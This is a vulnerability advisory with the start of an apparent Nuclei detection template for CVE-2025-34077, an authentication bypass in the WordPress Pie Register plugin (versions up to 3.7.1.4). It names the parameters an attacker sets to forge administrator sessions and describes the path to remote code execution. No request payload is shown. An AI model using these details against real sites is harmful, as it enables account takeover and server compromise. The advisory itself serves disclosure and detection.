WordPress Pie Register Authentication Bypass Vulnerability

漏洞信息

漏洞名称： WordPress Pie Register Authentication Bypass Vulnerability

漏洞编号：

• CVE： CVE-2025-34077

漏洞类型： 权限绕过

漏洞等级： 严重

漏洞描述： WordPress Pie Register插件是一个用于WordPress的用户注册和管理插件，广泛应用于各种WordPress网站中，提供用户注册、登录、密码恢复等功能。该插件在版本3.7.1.4及之前存在一个认证绕过漏洞，允许未认证的攻击者通过提交特制的POST请求到登录端点，绕过认证机制，冒充任意用户，包括管理员。攻击者通过设置social_site=true并操纵user_id_social_site参数，可以为任何用户ID生成有效的WordPress会话cookie。一旦认证成功，攻击者可能利用插件上传功能安装包含任意PHP代码的恶意插件，导致在底层服务器上执行远程代码。此漏洞的根源在于插件未能正确验证用户提交的认证请求，使得攻击者能够绕过正常的认证流程。由于攻击者可以冒充管理员，此漏洞可能导致网站被完全控制，数据泄露，甚至服务器被入侵。攻击无需认证即可利用，且可以自动化执行，因此风险极高。

id: CVE-2025-34077

info:
  name: WordPress Pie Register <= 3.7.1.4 - Authentication Bypass
  author: kylew1004
  severity: critical
  description: |
    An authentication bypass vulnerability exists in the WordPress Pie Register plugin ≤ 3.7.1.4 that allows unauthenticated attackers to impersonate arbitrary users by submitting a crafted POST request to the login endpoint. By setting social_site=true and manipulating the user_id_social_site parameter, an attacker can generate a valid WordPress session cookie for any user ID, including administrators.Once authenticated, the attacker may exploit plugin upload functionality to install a malicious plugin containing arbitrary PHP code, resulting in remote code execution on the underlying server.
